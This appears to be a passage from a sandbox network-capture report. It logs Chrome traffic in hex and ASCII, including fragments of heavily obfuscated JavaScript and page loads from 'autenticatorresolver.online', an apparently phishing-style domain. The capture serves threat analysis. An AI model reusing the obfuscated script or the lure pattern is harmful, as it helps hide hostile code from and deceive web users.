2025-01-06 13:26:42 UTC	16384	IN	Data Raw: 31 33 2a 2d 30 78 37 64 2b 30 78 33 30 66 62 2a 30 78 32 29 2c 2d 28 2d 30 78 32 37 62 39 2b 30 78 33 61 35 30 2b 30 78 66 36 35 29 29 29 29 29 29 29 2c 5f 30 78 33 34 63 63 66 65 5b 5f 30 78 31 61 34 34 64 61 5b 5f 30 78 39 30 32 36 38 35 28 30 78 32 30 30 29 5d 28 5f 30 78 33 63 37 32 33 38 2c 2d 30 78 32 36 34 35 2b 30 78 31 35 37 2a 30 78 31 63 2b 30 78 31 2a 30 78 31 61 66 29 5d 28 5f 30 78 33 34 63 63 66 65 5b 5f 30 78 31 61 34 34 64 61 5b 5f 30 78 39 30 32 36 38 35 28 30 78 33 34 33 29 5d 28 5f 30 78 33 63 37 32 33 38 2c 2d 30 78 35 31 2a 30 78 62 2b 30 78 34 38 36 2a 2d 30 78 31 2b 30 78 39 33 37 29 5d 28 2d 5f 30 78 33 34 63 63 66 65 5b 5f 30 78 31 61 34 34 64 61 5b 5f 30 78 39 30 32 36 38 35 28 30 78 33 38 66 29 5d 28 5f 30 78 33 63 37 32 33 38 Data Ascii: 13-0x7d+0x30fb0x2),-(-0x27b9+0x3a50+0xf65))))))),_0x34ccfe[_0x1a44da[_0x902685(0x200)](_0x3c7238,-0x2645+0x1570x1c+0x10x1af)](_0x34ccfe[_0x1a44da[_0x902685(0x343)](_0x3c7238,-0x510xb+0x486-0x1+0x937)](-_0x34ccfe[_0x1a44da[_0x902685(0x38f)](_0x3c7238
2025-01-06 13:26:42 UTC	16384	IN	Data Raw: 30 38 31 2b 2d 30 78 33 36 38 2a 30 78 36 2b 30 78 33 34 66 34 29 2c 2d 28 30 78 32 36 34 2b 2d 30 78 32 2a 30 78 31 32 30 62 2b 30 78 32 38 36 62 29 29 2c 5f 30 78 31 61 34 34 64 61 5b 5f 30 78 39 30 32 36 38 35 28 30 78 33 35 35 29 5d 28 2d 28 2d 30 78 31 64 62 65 2b 2d 30 78 62 36 66 2a 2d 30 78 32 2b 30 78 36 65 35 29 2c 2d 30 78 39 2a 30 78 33 34 66 2b 30 78 36 31 38 2b 2d 30 78 34 2a 2d 30 78 37 30 36 29 29 2c 30 78 33 37 62 38 2a 30 78 31 2b 2d 30 78 37 2a 30 78 61 30 64 2b 30 78 33 34 32 62 29 29 29 29 29 3b 69 66 28 5f 30 78 33 34 63 63 66 65 5b 5f 30 78 31 61 34 34 64 61 5b 5f 30 78 39 30 32 36 38 35 28 30 78 32 63 37 29 5d 28 5f 30 78 33 63 37 32 33 38 2c 2d 30 78 34 38 36 2a 30 78 31 2b 30 78 31 61 39 37 2b 2d 30 78 31 34 33 62 29 5d 28 5f 30 Data Ascii: 081+-0x3680x6+0x34f4),-(0x264+-0x20x120b+0x286b)),_0x1a44da[_0x902685(0x355)](-(-0x1dbe+-0xb6f-0x2+0x6e5),-0x90x34f+0x618+-0x4-0x706)),0x37b80x1+-0x70xa0d+0x342b)))));if(_0x34ccfe[_0x1a44da[_0x902685(0x2c7)](_0x3c7238,-0x4860x1+0x1a97+-0x143b)](_0
2025-01-06 13:26:42 UTC	16384	IN	Data Raw: 78 31 61 2b 2d 28 30 78 36 2a 2d 30 78 33 34 31 2b 2d 30 78 66 2a 30 78 63 65 2b 2d 30 78 33 38 33 35 2a 2d 30 78 31 29 2b 28 2d 30 78 31 2a 30 78 38 35 31 2b 2d 30 78 36 34 2a 30 78 32 64 2b 2d 30 78 35 2a 2d 30 78 35 64 66 29 29 5d 28 5f 30 78 35 33 32 66 35 66 28 30 78 31 33 35 33 2b 30 78 63 66 36 2b 2d 30 78 36 39 30 2b 28 30 78 32 36 35 35 2b 2d 30 78 37 30 30 2b 2d 30 78 31 66 34 36 29 2a 28 30 78 31 35 39 65 2b 30 78 39 35 61 2b 30 78 31 31 2a 2d 30 78 31 63 33 29 2b 2d 28 30 78 32 37 31 61 2b 2d 30 78 34 35 37 64 2a 2d 30 78 31 2b 2d 30 78 34 34 38 32 29 29 2b 5f 30 78 35 33 32 66 35 66 28 28 30 78 65 32 31 2a 30 78 31 2b 30 78 34 33 2a 2d 30 78 31 39 2b 2d 30 78 37 39 35 29 2a 2d 28 2d 30 78 36 2a 30 78 32 39 33 2b 30 78 32 61 35 2a 30 78 33 2b Data Ascii: x1a+-(0x6-0x341+-0xf0xce+-0x3835-0x1)+(-0x10x851+-0x640x2d+-0x5-0x5df))](_0x532f5f(0x1353+0xcf6+-0x690+(0x2655+-0x700+-0x1f46)(0x159e+0x95a+0x11-0x1c3)+-(0x271a+-0x457d-0x1+-0x4482))+_0x532f5f((0xe210x1+0x43-0x19+-0x795)-(-0x60x293+0x2a50x3+
2025-01-06 13:26:43 UTC	16384	IN	Data Raw: 2b 2d 30 78 64 32 64 2b 30 78 32 35 64 33 29 2a 2d 28 30 78 32 31 37 65 2b 2d 30 78 35 63 31 2b 2d 30 78 33 36 38 2a 30 78 37 29 29 2c 69 66 72 61 6d 65 5b 5f 30 78 35 33 32 66 35 66 28 28 30 78 32 35 35 33 2b 30 78 31 2a 2d 30 78 31 39 38 39 2b 2d 30 78 62 63 39 2a 30 78 31 29 2a 28 30 78 31 38 30 36 2b 30 78 31 30 66 2a 2d 30 78 39 2b 30 78 34 2a 30 78 35 34 61 29 2b 28 30 78 31 2a 2d 30 78 31 66 61 2b 30 78 31 2a 30 78 63 31 36 2b 2d 30 78 39 31 63 29 2b 2d 28 30 78 31 64 30 39 2a 30 78 31 2b 2d 30 78 32 61 63 37 2b 2d 30 78 33 31 38 66 2a 2d 30 78 31 29 29 5d 5b 5f 30 78 35 33 32 66 35 66 28 2d 30 78 34 31 30 35 2b 2d 30 78 64 39 61 2b 30 78 31 2a 30 78 37 32 30 62 2b 2d 28 30 78 31 66 32 2b 30 78 31 66 36 37 2b 2d 30 78 32 31 35 37 29 2a 28 30 78 31 Data Ascii: +-0xd2d+0x25d3)-(0x217e+-0x5c1+-0x3680x7)),iframe[_0x532f5f((0x2553+0x1-0x1989+-0xbc90x1)(0x1806+0x10f-0x9+0x40x54a)+(0x1-0x1fa+0x10xc16+-0x91c)+-(0x1d090x1+-0x2ac7+-0x318f-0x1))][_0x532f5f(-0x4105+-0xd9a+0x10x720b+-(0x1f2+0x1f67+-0x2157)*(0x1
2025-01-06 13:26:43 UTC	16384	IN	Data Raw: 64 73 71 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 37 65 34 35 33 66 2c 5f 30 78 36 63 62 65 36 33 29 7b 72 65 74 75 72 6e 20 5f 30 78 37 65 34 35 33 66 2b 5f 30 78 36 63 62 65 36 33 3b 7d 2c 27 71 6e 41 72 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 34 64 33 64 66 2c 5f 30 78 31 64 61 37 32 30 29 7b 72 65 74 75 72 6e 20 5f 30 78 34 34 64 33 64 66 28 5f 30 78 31 64 61 37 32 30 29 3b 7d 2c 27 41 58 7a 57 49 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 35 66 62 39 62 2c 5f 30 78 32 30 64 66 66 61 29 7b 72 65 74 75 72 6e 20 5f 30 78 31 35 66 62 39 62 28 5f 30 78 32 30 64 66 66 61 29 3b 7d 2c 27 6b 66 64 63 69 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 64 31 39 66 63 2c 5f 30 78 32 64 62 30 62 38 29 7b 72 65 74 75 72 6e 20 5f 30 78 34 64 31 39 66 63 Data Ascii: dsqn':function(_0x7e453f,_0x6cbe63){return _0x7e453f+_0x6cbe63;},'qnArM':function(_0x44d3df,_0x1da720){return _0x44d3df(_0x1da720);},'AXzWI':function(_0x15fb9b,_0x20dffa){return _0x15fb9b(_0x20dffa);},'kfdci':function(_0x4d19fc,_0x2db0b8){return _0x4d19fc
2025-01-06 13:26:43 UTC	468	IN	Data Raw: 78 33 37 66 30 31 36 28 30 78 34 32 36 29 5d 28 5f 30 78 34 65 63 37 30 64 5b 5f 30 78 33 37 66 30 31 36 28 30 78 34 33 63 29 5d 28 2d 28 30 78 32 31 61 34 2b 2d 30 78 31 36 65 64 2b 2d 30 78 31 31 63 2a 2d 30 78 36 29 2c 2d 28 30 78 31 36 61 32 2a 2d 30 78 31 2b 2d 30 78 31 2a 30 78 31 31 36 2b 30 78 31 2a 30 78 31 37 62 39 29 29 2c 2d 30 78 64 39 2a 2d 30 78 61 2b 2d 30 78 31 35 34 2a 30 78 31 2b 2d 30 78 36 31 62 29 2c 2d 28 2d 30 78 31 31 38 31 2b 2d 30 78 32 34 61 65 2b 30 78 34 37 62 66 29 29 29 2c 5f 30 78 33 36 34 36 35 31 5b 5f 30 78 34 65 63 37 30 64 5b 5f 30 78 33 37 66 30 31 36 28 30 78 35 30 61 29 5d 28 5f 30 78 33 32 39 36 65 64 2c 2d 30 78 31 2a 30 78 31 35 34 31 2b 30 78 32 2a 30 78 33 34 66 2b 30 78 31 30 30 37 29 5d 28 5f 30 78 35 32 64 Data Ascii: x37f016(0x426)](_0x4ec70d[_0x37f016(0x43c)](-(0x21a4+-0x16ed+-0x11c-0x6),-(0x16a2-0x1+-0x10x116+0x10x17b9)),-0xd9-0xa+-0x1540x1+-0x61b),-(-0x1181+-0x24ae+0x47bf))),_0x364651[_0x4ec70d[_0x37f016(0x50a)](_0x3296ed,-0x10x1541+0x20x34f+0x1007)](_0x52d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49749	104.21.80.1	443	3512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 13:26:42 UTC	665	OUT	GET /fl/w0q9hliz HTTP/1.1 Host: autenticatorresolver.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-06 13:26:43 UTC	1003	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 13:26:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=esnttjtj7em3710lhvu5qqtuqk; path=/ expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xoCk%2Bmszw4TRj1bZXpioescEdVU47j%2F7f%2BykLPOJsj4r%2FpZV30aoqS7hDCPoy%2BVz8cLMuOmKJq7ijS%2BSK5TdSpFQxor4b7sfPZdfN%2F7TVG4DFN7YuXtKjJ5IFDy1HXXLoxzytuRQP9WYPUsfsfo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdc0a9678a20f36-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1513&min_rtt=1509&rtt_var=574&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2873&recv_bytes=1243&delivery_rate=1892417&cwnd=231&unsent_bytes=0&cid=265ee7d71626a1b9&ts=428&x=0"
2025-01-06 13:26:43 UTC	366	IN	Data Raw: 36 61 33 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 0a 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 62 61 73 65 36 34 2c 41 41 41 42 41 41 59 41 67 49 41 51 41 41 41 41 41 41 42 6f 4b 41 41 41 5a 67 41 41 41 45 68 49 45 41 41 41 41 41 41 41 36 41 30 41 41 4d 34 6f 41 41 41 77 4d 42 41 41 41 41 41 41 41 47 67 47 41 41 43 32 4e 67 41 41 49 43 41 51 41 41 41 41 41 41 44 6f 41 67 41 41 48 6a 30 41 41 42 67 59 45 41 41 41 41 41 41 41 36 41 45 41 41 41 5a 41 41 41 41 51 45 42 41 41 41 41 41 41 41 43 Data Ascii: 6a34<!DOCTYPE html><html><head> <meta charset="utf-8" /> <link rel="shortcut icon" href="data:image/x-icon;base64,AAABAAYAgIAQAAAAAABoKAAAZgAAAEhIEAAAAAAA6A0AAM4oAAAwMBAAAAAAAGgGAAC2NgAAICAQAAAAAADoAgAAHj0AABgYEAAAAAAA6AEAAAZAAAAQEBAAAAAAAC
2025-01-06 13:26:43 UTC	1369	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 67 41 41 41 44 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 41 41 41 41 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 79 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 41 41 41 41 4d 7a Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIgAAADMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIAAAAzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMyIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiAAAAMz
2025-01-06 13:26:43 UTC	1369	IN	Data Raw: 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 41 41 41 41 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 79 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 41 41 41 41 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 67 41 41 41 44 4d 7a 4d 7a 4d Data Ascii: MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIAAAAzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMyIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiAAAAMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIgAAADMzMzM
2025-01-06 13:26:43 UTC	1369	IN	Data Raw: 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 79 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 41 41 41 41 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 67 41 41 41 44 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 41 41 41 41 7a 4d 7a 4d 7a 4d 7a 4d 7a Data Ascii: zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMyIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiAAAAMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIgAAADMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIAAAAzMzMzMzMz
2025-01-06 13:26:43 UTC	1369	IN	Data Raw: 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 67 41 41 41 44 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 41 41 41 41 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 79 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 41 41 41 41 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4d Data Ascii: MzMzMzMzMzMzMzMzMzMzMzMzMzMiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIgAAADMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIAAAAzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMyIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiAAAAMzMzMzMzMzMzM
2025-01-06 13:26:43 UTC	1369	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-06 13:26:43 UTC	1369	IN	Data Raw: 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 46 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 41 41 41 41 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 51 41 41 41 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 55 41 41 41 42 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 Data Ascii: RERERERERERERERERERFVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVAAAARERERERERERERERERERERERERERERERERERERERERVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVQAAAEREREREREREREREREREREREREREREREREREREREREVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVUAAABERERERERERERERERERER
2025-01-06 13:26:43 UTC	1369	IN	Data Raw: 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 51 41 41 41 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 55 41 41 41 42 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 46 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 41 41 41 41 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 Data Ascii: ERERERERERERERERVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVQAAAEREREREREREREREREREREREREREREREREREREREREVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVUAAABERERERERERERERERERERERERERERERERERERERERFVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVAAAARERERERERERERERERERERERE
2025-01-06 13:26:43 UTC	1369	IN	Data Raw: 52 45 52 45 52 45 52 45 52 45 52 45 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 55 41 41 41 42 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 46 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 41 41 41 41 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 51 41 41 41 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 Data Ascii: REREREREREREVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVUAAABERERERERERERERERERERERERERERERERERERERERFVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVAAAARERERERERERERERERERERERERERERERERERERERERVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVQAAAERERERERERERERERERERERERERER
2025-01-06 13:26:43 UTC	1369	IN	Data Raw: 45 52 45 52 45 52 45 52 41 41 41 41 41 41 41 41 41 41 48 34 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 2b 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 66 67 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 48 34 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 2b 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 66 67 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 48 34 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 2b 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 66 67 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 48 34 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 2b 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 66 67 Data Ascii: ERERERERAAAAAAAAAAH4AAAAAAAAAAAAAAAAAAAB+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH4AAAAAAAAAAAAAAAAAAAB+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH4AAAAAAAAAAAAAAAAAAAB+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH4AAAAAAAAAAAAAAAAAAAB+AAAAAAAAAAAAAAAAAAAAfg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49754	151.101.65.229	443	3512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 13:26:43 UTC	629	OUT	GET /npm/bootstrap@5.0.2/dist/css/bootstrap.min.css HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://autenticatorresolver.online sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://autenticatorresolver.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
